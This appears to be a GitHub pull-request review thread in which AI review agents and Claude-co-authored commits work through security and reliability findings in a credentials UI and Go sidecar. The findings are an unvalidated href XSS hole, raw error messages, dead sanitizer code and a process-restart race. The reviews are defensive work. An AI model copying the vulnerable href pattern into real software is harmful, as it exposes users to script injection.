Bindings are capped at 1000 and agents at 100 per project, so larger orgs will silently miss data in the matrix (wrong bound/unbound state and wrong bulk action target sets). The per-project agent fan-out also scales as N+1 network calls.
As per coding guidelines: "Flag N+1 patterns: list-then-query-per-item in Kubernetes API and database operations" and "Flag missing pagination/limits on Kubernetes List operations or API endpoints."
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@components/ambient-ui/src/app/`(dashboard)/credentials/page.tsx around lines
91 - 103, Bindings and agents fetches are truncated and cause an N+1 fan-out:
useRoleBindings({ size: 1000 }) and per-project agent useQueries/projects →
agentsAdapter.list(p.id, { size: 100 }) silently miss items and scale poorly.
Fix by replacing the fixed-size single-call pattern with paginated/aggregate
fetches: change useRoleBindings and roles/agents calls to iterate pages (or
add/consume an agentsAdapter.listAll or batch API) until all pages are returned
rather than using hard caps, and replace the projects.map(...) useQueries
fan-out with a single query that returns agents for all projects (or a batched
multi-project API) so queryKeys.agents.list and agentsAdapter.list are not
invoked per-project; ensure bindingsData and projectsData use full pagination
loops and update bindings and agent matrix to use the complete result set.
Review: PR #1650 — Credentials View with Binding MatrixScore: 4/5. The new credentials UI is well-built: error messages are generic throughout the new code, tokens are properly write-only in all form fields, and mutation patterns follow established conventions. Two pre-existing raw-error bugs were left unfixed in files that this PR substantially modified — a missed opportunity that should be resolved before merge. Critical (pre-existing, but fixable now)C1 —
|
Re-review: PR #1650 — Credentials view with binding matrixTwo commits landed after my first review ( What's fixed since first review ✅
Still blockingC1 —
|
Security Review: PR #1650 — Credentials view with binding matrixFull pass over all credential-handling files: BlockersB1 — XSS via user-supplied URL in
|
| Check | Result |
|---|---|
| Token write-only | ✅ Pass |
No raw error.message in UI |
❌ Fail (C1, C2) |
| URL/content sanitization — no XSS | ❌ Fail (B1) |
| Adapter-layer input sanitization | ❌ Fail (C3) |
| Test post-conditions enforced | ❌ Fail (M1, M2) |
B1 is new and must be fixed before merge. C1/C2 have been open since the first review. C3/M1/M2 are security hygiene issues that should accompany this PR.
Amber · security review · 2026-06-04
Credential sidecar (credential-sidecars/entrypoint/main.go): - Refactor runSubprocess into processManager with restart support - OnRefresh callback now SIGTERMs the MCP subprocess and re-execs with fresh env vars, enabling credential rotation without pod restart - Thread-safe mutex-protected process lifecycle - Graceful shutdown: 5s SIGTERM timeout before SIGKILL UI copy (credential-manage-sheet.tsx): - Rotate token: "Running sessions pick up within 5 minutes" - Delete: "Running sessions lose access within 5 minutes as sidecars refresh" CodeRabbit fix (chat-sidebar-context.tsx): - popstate handler now calls setIsCollapsed(false) when restoring a chat session from URL, so sidebar expands on browser back Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
markturansky
left a comment
markturansky
left a comment
There was a problem hiding this comment.
Amber Re-Review — PR #1650 (third pass)
Checked new head 0073bde1 against all previously open issues.
Still open (not addressed)
B1 — XSS via resolved.url href (Blocker — unchanged)
credential-manage-sheet.tsx still renders the user-supplied URL directly into href with no scheme validation:
<a href={resolved.url} target="_blank" rel="noopener noreferrer" className="text-primary hover:underline">
{resolved.url}
</a>javascript: URLs will execute in the platform's origin on click. Flagged in all three reviews — this has not changed.
Fix:
{/^https?:\/\//i.test(resolved.url) ? (
<a href={resolved.url} target="_blank" rel="noopener noreferrer" ...>
{resolved.url}
</a>
) : (
<span>{resolved.url}</span>
)}C1 / C2 — Raw {error.message} in chat-tab and logs-tab (Critical — unchanged)
Both files have identical blob SHAs to the previous review — neither was modified. The pattern in both:
<p className="text-sm text-destructive">
Failed to load messages: {error.message}
</p>This is now the third review cycle this has appeared in. Fix: replace with a static string — "Failed to load messages. Please refresh.".
C3 — sanitizeSearch defined but not called (Critical — partial only)
sdk-role-bindings.ts now defines sanitizeSearch at the top of the file, but buildSdkListOptions does not call it:
function buildSdkListOptions(params?: ListParams) {
return {
search: params?.search ?? undefined, // ← sanitizeSearch never applied
...
}
}The function is dead code as-is. The practical risk today is low (the only caller passes a server-generated credential_id), but the fix should be applied to close the gap:
search: params?.search ? sanitizeSearch(params.search) : undefined,C4 — LocalStorage type not validated against enum (Minor — unchanged)
use-recent-visits.ts still only checks typeof item.type === 'string' without validating against the RecentVisitType union. Tampered localStorage entries with arbitrary type values are accepted and cast:
// Still missing:
const VALID_TYPES = new Set<string>(['session', 'agent', 'credential', 'project'])
// ...
typeof item.type === 'string' && VALID_TYPES.has(item.type) &&What improved
rotateErroranddeleteErrornow use hardcoded strings ('Failed to rotate token. Please try again.') — not rawerror.message. ✅- New
resolved.emailfield usesmailto:scheme — not an XSS vector. ✅
Score: 1/5 → 1/5
B1 is the gate. C1/C2 are the longest-standing findings (three reviews). This PR cannot merge until at minimum B1, C1, and C2 are fixed.
— Amber
Security (amber B1, C1-C4): - XSS: validate URL scheme (https?://) before rendering as <a href> - Raw error.message removed from chat-tab and logs-tab - Sanitize credential ID before interpolation into search queries - Recent visits validates type against enum, not just typeof string CodeRabbit quick wins: - Credential create validates all requiredFields (url, email) not just token - Pagination clamps currentPage when filtered rows shrink - SDK adapters clamp page >= 1, size 1-100 - DomainRoleBindingCreateRequest adds sessionId for write/read symmetry - E2e tests use try/finally for cleanup, verify 404 post-delete on 500 - Recent visits dedup includes projectId Performance (CodeRabbit heavy lift, partial): - Indexed binding lookups: buildBindingIndex() for O(1) per-cell Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@components/credential-sidecars/entrypoint/main.go`:
- Around line 82-85: The restart() function currently logs cmd.Start() failures
and returns without propagating an error, allowing a partial-failure state;
change restart() to return error, propagate the error from the cmd.Start()
failure (and any other failures) instead of just logging, and update the caller
in the refresh path to handle that returned error deterministically (e.g., call
manager.Stop()/os.Exit(1) or return the error up to main) so partial failures
are never silently swallowed; reference the restart() function and the
cmd.Start() call so the fix replaces the fmt.Fprintf + return with a propagated
error and a clear recovery action at the refresh caller.
- Around line 50-89: The restart() and wait() logic currently both call Wait()
on the same process (pm.cmd) and pm.wait() is bound to the original child so
killing it during restart can terminate the parent; fix by making a single
dedicated waiter owner that tracks the current child across restarts instead of
binding to a snapshot: refactor processManager so restart() only replaces pm.cmd
under pm.mu and signals a condition or channel (e.g., a new cmdChanged chan or
bumping a generation counter) but does not call Wait(); move all cmd.Wait()
calls into a single goroutine (the wait loop in wait()) that loops reading
pm.cmd (or generation) under the mutex and calls Wait() only for the current
child, handling replacements by re-checking pm.cmd after Wait() returns or after
being signaled, and ensure restart() never calls Wait() (only signals
termination and lets the single waiter call Wait()), keeping pm.mu usage to
protect pm.cmd and pm.stopped.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Enterprise
Run ID: 68708b92-3131-4bef-8d2d-9155b34fe1ee
📒 Files selected for processing (4)
components/ambient-ui/src/app/(dashboard)/credentials/_components/credential-manage-sheet.tsxcomponents/ambient-ui/src/app/(dashboard)/credentials/_components/credential-table.tsxcomponents/ambient-ui/src/components/chat-sidebar-context.tsxcomponents/credential-sidecars/entrypoint/main.go
🚧 Files skipped from review as they are similar to previous changes (3)
- components/ambient-ui/src/components/chat-sidebar-context.tsx
- components/ambient-ui/src/app/(dashboard)/credentials/_components/credential-manage-sheet.tsx
- components/ambient-ui/src/app/(dashboard)/credentials/_components/credential-table.tsx
Amber Review — Consolidated Status (3rd cycle, SHA
|
| # | File | Issue |
|---|---|---|
| 1 | credentials.spec.ts |
Missing try/finally — test failures leave dangling resources |
| 2 | credentials.spec.ts |
DELETE 500 silently skips post-condition check |
| 3 | credentials.spec.ts |
Hardcoded project_id: 'hi' — non-existent project |
| 4 | sdk-credentials.ts |
page/size not validated/clamped before list calls |
| 5 | binding-matrix.tsx |
currentPage not clamped when row count shrinks |
| 6 | binding-matrix.tsx |
O(n²) findProjectBinding/findAgentBinding in render and bulk paths |
| 7 | credential-create-sheet.tsx |
Only token validated; url/email required fields not checked |
| 8 | credentials/page.tsx |
Silent truncation at 1000 bindings / 100 agents; N+1 agent fan-out |
| 9 | command-palette.tsx |
N+1 fan-out: 2 × projectCount requests per search keystroke |
| 10 | domain/types.ts |
DomainRoleBindingCreateRequest missing sessionId field |
| 11 | use-recent-visits.ts |
type not validated against ICON_MAP — runtime crash risk |
| 12 | use-recent-visits.ts |
De-dup key excludes projectId — cross-project ID collision |
Merge gate
This PR cannot merge until at minimum B1, C1, and C2 are resolved. C3 and C4 should be addressed in the same pass.
The CodeRabbit threads at #6, #8, and #9 represent real performance/correctness problems worth fixing now rather than in follow-up debt.
— Amber
… search Performance fixes from CodeRabbit heavy-lift findings: Binding matrix O(1) lookups: - buildBindingIndex() pre-indexes bindings into Maps keyed by credentialId:projectId and credentialId:agentId - All 11 hot-path call sites replaced with indexed versions - GroupCells accepts BindingIndex instead of DomainRoleBinding[] - 15 new unit tests for indexed lookup functions Paginated role bindings: - New useAllRoleBindings() hook pages through all results (100/page) instead of silently capping at 1000 - Credentials page uses useAllRoleBindings for complete binding data Command palette search cap: - Fan-out limited to MAX_SEARCH_PROJECTS (5) to avoid unbounded N+1 queries across all projects - Shows "Showing results from 5 of N projects" when capped - Current project always included and sorted first Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
markturansky
left a comment
markturansky
left a comment
There was a problem hiding this comment.
Amber Review — 4th cycle (SHA 2f5111d2) ✅ Approved
All blocking and critical findings resolved. Good work addressing the consolidated list.
Verified fixes
| Finding | Status | How |
|---|---|---|
B1 — XSS via href |
✅ Fixed | /^https?:\/\//i.test() guards before rendering <a>; non-http falls back to <span> |
C1 — {error.message} in chat-tab |
✅ Fixed | Generic "Failed to load messages. Please refresh." |
C2 — {error.message} in logs-tab |
✅ Fixed | Same fix |
C3 — sanitizeSearch dead code |
sanitizeSearch still defined but not called in buildSdkListOptions; the credential search call site in credential-manage-sheet.tsx is now protected separately via sanitizeId. No live attack path, but dead code remains. |
|
C4 — type not validated against enum |
✅ Fixed | RECENT_VISIT_TYPES.has() validates against the set; dedup key now includes projectId |
One remaining cleanup item (non-blocking)
sdk-role-bindings.ts — sanitizeSearch is dead code. Either call it:
search: params?.search ? sanitizeSearch(params.search) : undefined,or delete the function. It's a code quality issue only — no live vulnerability given the current callers.
Merge gate
PR is clear to merge. The CodeRabbit items addressed (indexed binding lookups, pagination clamping, try/finally in tests, sessionId in domain type) are solid improvements that don't need to block separately.
— Amber
Amber — perf commit
|
markturansky
left a comment
markturansky
left a comment
There was a problem hiding this comment.
Re-review: PR #1650 — HEAD 4d77fee0
Five new commits reviewed. All prior security findings are confirmed fixed. One critical bug in the new sidecar hot-reload feature requires a fix before merge.
Previously Flagged — Verified ✅
| ID | Severity | Finding | Status |
|---|---|---|---|
| B1 | Blocker | XSS via javascript: href in credential URL |
Fixed — https?:// guard present |
| C1 | Critical | Raw error.message in chat-tab.tsx |
Fixed — generic message |
| C2 | Critical | Raw error.message in logs-tab.tsx |
Fixed — generic message |
| C4 | Critical | use-recent-visits.ts type coercion without enum validation |
Fixed — RECENT_VISIT_TYPES ReadonlySet + projectId in dedup key |
| C3 | Major | sanitizeSearch dead code in sdk-role-bindings.ts |
Unchanged — still defined, still not called. Mitigated by component-level safeId. Non-blocking. |
Critical — Blocks Merge
B2: Sidecar exits on every credential rotation (credential-sidecars/entrypoint/main.go)
pm.wait() in main() captures the P1 *exec.Cmd reference once at startup, then blocks on P1.Wait():
os.Exit(pm.wait()) // blocks on P1.Wait()When a token refresh fires, pm.restart() sends SIGTERM to P1 to swap in a new process. P1 exits. Both the goroutine inside restart() and pm.wait() in main call P1.Wait(). One collects the exit status; the other gets an error. Either way, pm.wait() unblocks, main() calls os.Exit(), and the sidecar pod dies — taking the newly started P2 with it.
The defer exchanger.Stop() fires, but the damage is done: every credential rotation crashes the sidecar. Kubernetes restarts the pod, which re-fetches credentials on startup, so access is eventually restored — but with an interrupting pod restart rather than the seamless in-process swap the feature intends.
Fix direction: pm.wait() needs to track the current process across restarts. One approach — loop on process replacement:
func (pm *processManager) wait() int {
for {
pm.mu.Lock()
cmd := pm.cmd
pm.mu.Unlock()
if cmd == nil {
return 1
}
err := cmd.Wait()
pm.mu.Lock()
isStopped := pm.stopped
replaced := pm.cmd != cmd
pm.mu.Unlock()
if isStopped {
if err != nil {
if exitErr, ok := err.(*exec.ExitError); ok {
return exitErr.ExitCode()
}
}
return 0
}
if replaced {
continue // restart happened — wait for the new process
}
// Unexpected exit with no restart
if exitErr, ok := err.(*exec.ExitError); ok {
return exitErr.ExitCode()
}
return 1
}
}And remove the go func() { _ = cmd.Wait() }() goroutine from restart() — let pm.wait() own the Wait lifecycle exclusively. restart() just needs to wait for P1 to fully die before starting P2; that can be done with a time.Sleep poll or a per-cmd done channel that only pm.wait() writes to.
New Additions — Clean ✅
O(1) binding index (binding-helpers.ts): buildBindingIndex() correctly indexes into two Maps with ${credentialId}:${projectId} and ${credentialId}:${agentId} keys. findProjectBindingIndexed, findAgentBindingIndexed, isInheritedIndexed all correct. Linear-scan variants retained for unit tests — good separation. ✅
Paginated bindings (useAllRoleBindings): Pages through results 100 at a time via hasMore. Correct approach.
Minor (N1): No upper page bound in useAllRoleBindings
while (true) {
const result = await adapter.list({ page, size, search })
allItems.push(...result.items)
if (!result.hasMore) break
page++
}If the API has a bug and hasMore is permanently true, this loops indefinitely. Add a safety cap (e.g. while (page <= 50)) before this hits production at scale. Non-blocking.
Command palette search cap: MAX_SEARCH_PROJECTS = 5, current project sorted first, capped indicator shown to user. Clean. ✅
Sidecar SSRF guard in fetchAndSetCredential: Hostname allowlist (.svc.cluster.local, .svc, localhost) prevents token exfiltration to external hosts. url.PathEscape(credID) + isValidCredentialID provide belt-and-suspenders injection protection. ✅
Conditional mount + prop narrowing (3328c8e, 778fb7e): CredentialManageSheet conditionally mounted; prop narrowed to non-nullable DomainCredential. Prevents the unbounded useRoleBindings(undefined) query on page load. ✅
Decision
REQUEST_CHANGES — on B2 (sidecar exits on credential rotation). Fix the pm.wait() / pm.restart() lifecycle conflict, then re-request review. Everything else is ready to ship.
Amber · automated review · 4d77fee0
Sidecar (amber B2): - wait() now loops, checking if cmd was replaced by restart() - restart() no longer calls cmd.Wait() in a goroutine — uses SIGTERM + 5s sleep + Kill instead, letting wait() own the Wait lifecycle exclusively - Prevents sidecar exit on credential rotation Pagination (amber N1): - useAllRoleBindings caps at 50 pages (5000 items) to prevent infinite loop if API returns hasMore=true permanently Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In
`@components/ambient-ui/src/app/`(dashboard)/credentials/_components/credential-create-sheet.tsx:
- Around line 82-93: The validation currently checks requiredFields but the
submit/serialization still includes any non-empty token/url/email from state
even when those inputs are hidden; update the submit logic in
credential-create-sheet.tsx so you only send fields that are relevant to the
selected provider (or clear hidden fields on provider change). Concretely: in
the form submit handler (where token, url, email are serialized for the create
request) filter the payload to include token/url/email only when
requiredFields.includes('token'|'url'|'email') or the input is currently
visible, or alternatively add a useEffect/handler on provider change to call
setToken('')/setUrl('')/setEmail('') for fields not in requiredFields; reference
requiredFields, token, url, email, and the submit/create function to locate the
code to modify.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Enterprise
Run ID: fd2d1160-c047-4104-9f65-781b5b366dc9
📒 Files selected for processing (17)
components/ambient-ui/e2e/credentials.spec.tscomponents/ambient-ui/src/adapters/sdk-credentials.tscomponents/ambient-ui/src/adapters/sdk-role-bindings.tscomponents/ambient-ui/src/adapters/sdk-roles.tscomponents/ambient-ui/src/app/(dashboard)/[projectId]/sessions/[sessionId]/_components/chat-tab.tsxcomponents/ambient-ui/src/app/(dashboard)/[projectId]/sessions/[sessionId]/_components/logs-tab.tsxcomponents/ambient-ui/src/app/(dashboard)/credentials/_components/__tests__/binding-helpers.test.tscomponents/ambient-ui/src/app/(dashboard)/credentials/_components/binding-helpers.tscomponents/ambient-ui/src/app/(dashboard)/credentials/_components/binding-matrix.tsxcomponents/ambient-ui/src/app/(dashboard)/credentials/_components/credential-create-sheet.tsxcomponents/ambient-ui/src/app/(dashboard)/credentials/_components/credential-manage-sheet.tsxcomponents/ambient-ui/src/app/(dashboard)/credentials/page.tsxcomponents/ambient-ui/src/components/command-palette.tsxcomponents/ambient-ui/src/domain/types.tscomponents/ambient-ui/src/hooks/use-recent-visits.tscomponents/ambient-ui/src/queries/use-role-bindings.tscomponents/credential-sidecars/entrypoint/main.go
🚧 Files skipped from review as they are similar to previous changes (13)
- components/ambient-ui/src/app/(dashboard)/[projectId]/sessions/[sessionId]/_components/logs-tab.tsx
- components/ambient-ui/src/adapters/sdk-roles.ts
- components/ambient-ui/src/domain/types.ts
- components/ambient-ui/src/queries/use-role-bindings.ts
- components/ambient-ui/src/hooks/use-recent-visits.ts
- components/ambient-ui/src/adapters/sdk-role-bindings.ts
- components/ambient-ui/src/components/command-palette.tsx
- components/ambient-ui/src/adapters/sdk-credentials.ts
- components/ambient-ui/src/app/(dashboard)/credentials/page.tsx
- components/credential-sidecars/entrypoint/main.go
- components/ambient-ui/src/app/(dashboard)/credentials/_components/credential-manage-sheet.tsx
- components/ambient-ui/src/app/(dashboard)/credentials/_components/binding-matrix.tsx
- components/ambient-ui/e2e/credentials.spec.ts
Sidecar (CodeRabbit): - restart() now returns error instead of silently logging - Caller signals SIGTERM on restart failure so sidecar exits cleanly instead of running without a subprocess Credential create (CodeRabbit): - Provider switch clears token/url/email fields to prevent stale hidden values from being submitted Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
markturansky
left a comment
markturansky
left a comment
There was a problem hiding this comment.
Re-review: PR #1650 — HEAD dcc71ce5
The restart() error propagation and pm.wait() loop are the right ideas — but the timing means the race condition persists. Sidecar still exits on credential rotation.
B2 — Still Blocking
Why pm.wait() still exits the sidecar
In restart(), the sequence is:
SIGTERM P1 → time.Sleep(5s) → startLocked() sets pm.cmd = P2
P1 typically exits within ~1 second of SIGTERM. pm.wait() is blocking on P1.Wait(). When P1 exits:
P1.Wait()returns (with a SIGTERM exit error)pm.wait()readsreplaced = (pm.cmd != P1)→ false —startLocked()hasn't run yet (it's behind a 5-second sleep)isStopped = false,replaced = false,err != nil→pm.wait()returns the exit codemain()callsos.Exit(exitCode)→ sidecar dies
The replaced = true branch in pm.wait() only helps when pm.cmd is updated before P1 exits, which the current code makes structurally impossible.
The fix: swap pm.cmd before killing P1
Start P2 first (under the lock), then signal P1. pm.cmd is updated atomically before P1 receives SIGTERM. When P1 exits and pm.wait() wakes up, replaced = true → it loops and waits on P2:
func (pm *processManager) restart() error {
pm.mu.Lock()
defer pm.mu.Unlock()
if pm.stopped {
return nil
}
old := pm.cmd
// Start P2 first under the lock so pm.cmd is updated before P1 exits.
if err := pm.startLocked(); err != nil {
return err
}
// Signal old process after pm.cmd is already P2.
if old != nil && old.Process != nil {
fmt.Fprintf(os.Stderr, "credential-sidecar: restarting MCP subprocess for credential refresh\n")
_ = old.Process.Signal(syscall.SIGTERM)
// Reap old process in background — pm.wait() is already watching P2.
go func() {
time.Sleep(5 * time.Second)
_ = old.Process.Kill()
_ = old.Wait()
}()
}
return nil
}With this, when P1 exits:
pm.cmdis already P2 →replaced = true→pm.wait()loops and picks up P2 ✅- Old P1 is reaped in a background goroutine (preventing zombies) ✅
- The 5-second window with no subprocess disappears ✅
Everything Else — Clean ✅
All prior findings (B1 XSS, C1/C2 raw error messages, C4 localStorage type validation) remain fixed. pm.wait() looping design is correct — it just needs the swap-before-kill order to be effective. Error propagation from restart() and the pm.signal(SIGTERM) fallback on restart failure are both good additions.
The credential-create provider-switch field clearing is a straightforward UX fix; no concerns.
Amber · automated review · dcc71ce5
Two bugs found by review agent: 1. done channel drained by wait() caused restart() to hang forever. Fix: use close(done) instead of channel send. Error stored in managedProc.err field. Multiple goroutines can safely wait on a closed channel. 2. Concurrent restart() calls could leak orphaned child processes. Fix: separate restartMu serializes restart operations so only one can run at a time. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…tart When the credential sidecar restarts the MCP subprocess on token refresh, the Claude SDK's connection goes stale. The SDK has reconnect_mcp_server() and get_mcp_status() APIs but the runner wasn't using them. Changes: - SessionWorker: add reconnect_mcp_server() and get_mcp_status() methods that forward to the SDK client - ClaudeBridge._initialize_run(): check MCP server status before each turn. Any credential sidecar server in "failed" state gets reconnected automatically via reconnect_mcp_server() - Only checks servers in _CREDENTIAL_SIDECAR_REGISTRY (github, mcp-atlassian, openshift, google-workspace) This closes the gap where credential rotation via the UI would restart the sidecar's MCP server but the SDK would keep using the stale connection, causing "Received request before initialization was complete" errors. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
markturansky
left a comment
markturansky
left a comment
There was a problem hiding this comment.
Amber Security Review — Round 4 (HEAD 9da5ab3f) ✅ APPROVED
All prior security findings are resolved. The managedProc rewrite is a substantial improvement. One narrow residual race documented below as a follow-up item — not blocking.
Prior Findings — Status
| ID | Finding | Status |
|---|---|---|
| B1 | XSS via javascript: href in credential sheet |
✅ Fixed (/^https?:\/\//i guard + safeId sanitization) |
| B2 | Sidecar hot-reload race: pm.wait() exits on credential rotation |
✅ Substantially fixed — see note below |
| C1 | Raw error.message exposed in chat tab |
✅ Fixed (generic message) |
| C2 | Raw error.message exposed in logs tab |
✅ Fixed (generic message) |
| C3 | sanitizeSearch defined but not called at injection point |
ℹ️ Mitigated at component level via safeId — acceptable |
| C4 | useRecentVisits missing projectId in dedup key |
✅ Fixed |
B2 — Residual Race (Nanosecond-Scale) — Follow-up Only
The managedProc / done chan struct{} design is architecturally sound and reduces the prior ~5-second race window to nanoseconds. However, a theoretical race technically remains:
Current restart() sequence:
- Acquire
restartMu - SIGTERM P1 → wait on
old.done - Acquire
mu→ callspawnLocked()→ setpm.proc = P2
When old.done closes, both restart() (blocked at step 2) and pm.wait() (blocked at <-proc.done) unblock concurrently. If pm.wait() wins the pm.mu race before spawnLocked() sets pm.proc = P2, it sees replaced = false and returns the exit code → main() calls os.Exit().
Guaranteed fix (swap-before-kill): Start P2 first, then SIGTERM P1. Since pm.proc = P2 is set before the old proc's done channel can ever close, pm.wait() is guaranteed to see replaced = true:
func (pm *processManager) restart() error {
pm.restartMu.Lock()
defer pm.restartMu.Unlock()
pm.mu.Lock()
if pm.stopped { pm.mu.Unlock(); return nil }
old := pm.proc
// Start P2 FIRST — pm.proc = P2 before SIGTERM
if err := pm.spawnLocked(); err != nil {
pm.mu.Unlock()
return err
}
pm.mu.Unlock()
// NOW signal the old process
if old != nil && old.cmd.Process != nil {
_ = old.cmd.Process.Signal(syscall.SIGTERM)
select {
case <-old.done:
case <-time.After(5 * time.Second):
_ = old.cmd.Process.Kill()
<-old.done
}
}
return nil
}This also eliminates the 5-second kill timeout from the hot path when credential rotation triggers restart.
The runner-side _reconnect_failed_mcp_servers() auto-reconnect provides defense-in-depth regardless — if the sidecar did exit, the runner recovers on the next turn. Given that context, this is a follow-up item, not a blocker.
New Code — Clean
useAllRoleBindings: Correct pagination viahasMore— no silent cap.buildBindingIndex: O(1) Map lookup — correct key scheme for project and agent bindings._reconnect_failed_mcp_servers: Targeted reconnect scoped to_CREDENTIAL_SIDECAR_REGISTRYnames only — clean boundary.- SSRF hostname allowlist:
.svc.cluster.local,.svc,localhost,127.0.0.1— correct. isValidCredentialID: Allowlist regex +url.PathEscape— belt-and-suspenders is correct here.
Score: 7/8 checks passed (C3 mitigated, B2 residual is follow-up only)
Good iteration across 4 rounds. Suggest opening a follow-up issue for the swap-before-kill fix so it doesn't get lost.
— Amber Background Agent
…connect Sidecar (amber follow-up): - restart() now spawns P2 BEFORE killing P1, guaranteeing pm.proc points to the new process before old.done closes - Eliminates the nanosecond-scale race where wait() could exit before restart() set pm.proc - Removed restarting flag — no longer needed with swap-before-kill Runner (MCP reconnect fix): - reconnect_mcp_server() has an init-ordering race in the SDK where the new SSE connection sends requests before completing the MCP initialize handshake - Changed to destroy-and-resume approach: when a credential sidecar MCP server is in "failed" state, destroy the worker and let get_or_create() rebuild with --resume - Conversation context preserved through session ID persistence - Fresh SDK client gets clean MCP connections Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Runner: broaden broken MCP server detection to catch three states: - status == "failed" (explicit failure) - status == "pending" (stuck connecting) - status == "connected" with zero tools (SSE reconnected but MCP init never completed) Verified e2e: sidecar restart → SDK self-heals → runner health check confirms connected with 43 tools → no worker destruction needed. The "Failed to validate request" warnings are transient (4 occurrences during MCP subprocess boot) then resolve. UI: fix getServerSnapshot returning new array on every call, causing useSyncExternalStore infinite loop. Use stable EMPTY_ITEMS reference. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
markturansky
left a comment
markturansky
left a comment
There was a problem hiding this comment.
Amber Security Review — Round 5 (HEAD 6df0c9c9) ✅ APPROVED
Two follow-up commits verified. All prior findings remain resolved and all follow-up items from Round 4 are addressed.
f9d85bb7 — Swap-before-kill + destroy-and-resume
main.go — B2 race condition: ELIMINATED
restart() now calls spawnLocked() (setting pm.proc = P2) while holding pm.mu, then releases the lock before SIGTERMing P1. By the time old.done closes, pm.proc already points to P2. wait() is guaranteed to see replaced = true on every credential rotation. The nanosecond-scale race flagged in Round 4 is gone.
bridge.py — destroy-and-resume: VERIFIED
Switched from reconnect_mcp_server() to session_manager.destroy(thread_id) when broken sidecar MCP servers are detected. The session-ID resume chain is sound:
destroy()savesworker.session_idto_session_ids[thread_id]before stoppingget_session_id()falls back to_session_ids[thread_id]when no live worker existsrun()picks up the saved ID viaget_session_id()→ passes asresume_from→ new worker uses--resume
Conversation context is preserved across the rebuild. ✅
6df0c9c9 — Broadened health check + useSyncExternalStore fix
bridge.py — is_broken(): three states caught
def is_broken(server: dict) -> bool:
st = server.get("status", "")
if st in ("failed", "pending"):
return True
if st == "connected" and len(server.get("tools", [])) == 0:
return True
return FalseCatches the previously missed case where SSE reconnects but MCP initialize never completes, leaving the server connected with zero tools. ✅
use-recent-visits.ts — infinite loop: FIXED
const EMPTY_ITEMS: RecentVisitItem[] = []
function getServerSnapshot(): RecentVisitItem[] {
return EMPTY_ITEMS
}useSyncExternalStore requires getServerSnapshot to return a stable reference across calls. Returning a new [] every call triggered infinite re-renders. EMPTY_ITEMS constant fixes this correctly. ✅
Final Score: 8/8 checks passed
All findings across 5 review rounds resolved. No new issues.
— Amber Background Agent
RCA: the SDK reports MCP servers as "connected" with 43 tools even
when the MCP session is broken (SSE reconnected but initialize
handshake never completed). The runner's status-based health check
cannot detect this zombie state.
Fix: file-based epoch notification eliminates all race conditions:
Sidecar (entrypoint/main.go):
- After restart, writes millisecond timestamp to
/tmp/.credential-{provider}-restart-epoch
Control-plane (kube_reconciler.go):
- Mounts each sidecar's cred-tmp-{provider} volume on the runner
at /var/run/credential-epochs/{provider} (read-only)
- New appendRunnerVolumeMount helper
Runner (bridge.py):
- _reconnect_failed_mcp_servers reads epoch files on each turn
- If epoch changed since last check → sidecar restarted →
unconditionally destroy worker → rebuild with --resume
- No dependency on SDK's stale get_mcp_status() reporting
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
markturansky
left a comment
markturansky
left a comment
There was a problem hiding this comment.
Amber Security Review — Round 6 (HEAD c83edab) ✅ APPROVED
Two new commits: an epoch-based intermediate approach (c84feba) followed by a full revert of all hot-reload code (c83edab). Reviewing the final reverted state.
Revert assessment
The decision is sound. The commit message correctly diagnoses the fundamental issue: the Claude SDK's SSE reconnection layer does not re-send the MCP initialize handshake, leaving sessions in a zombie state (connected + tools listed, but broken). Since get_mcp_status() returns stale cached data, no client-side health check can reliably detect this. Session restart with --resume is the correct path.
main.go — Back to simple runSubprocess. The OnRefresh callback still updates env vars in the sidecar process on token rotation (correct for future-session pickup), but makes no attempt to signal the already-running MCP subprocess. All prior security safeguards intact: SSRF hostname allowlist, isValidCredentialID allowlist regex, url.PathEscape. ✅
bridge.py — _reconnect_failed_mcp_servers removed cleanly. No dead references. ✅
session.py — reconnect_mcp_server() and get_mcp_status() removed from SessionWorker. ✅
kube_reconciler.go — No epoch volumes mounted on the runner container. The cred-tmp-{provider} emptyDir volumes are correctly retained — they're mounted on the sidecar containers at /tmp to satisfy readOnlyRootFilesystem: true, not for epoch sharing. ✅
Minor — Stale dialog copy in credential-manage-sheet.tsx
The rotate section description (paragraph text) was correctly updated:
"Restart running sessions to pick up the change." ✅
But the rotate confirmation dialog still has the old hot-reload copy:
"Running sessions pick it up within 5 minutes."
This implies automatic pickup that no longer happens. Should match the paragraph:
"Restart running sessions to pick up the change."
Not a security issue, but it will confuse users who rotate a token and then expect the running session to self-heal.
All prior security findings — still resolved
| ID | Finding | Status |
|---|---|---|
| B1 | XSS via javascript: href |
✅ Fixed |
| B2 | Sidecar hot-reload race | ✅ Resolved by revert — no hot-reload code remains |
| C1 | Raw error in chat tab | ✅ Fixed |
| C2 | Raw error in logs tab | ✅ Fixed |
| C3 | sanitizeSearch dead code |
ℹ️ Mitigated via safeId at component level |
| C4 | useRecentVisits dedup key |
✅ Fixed |
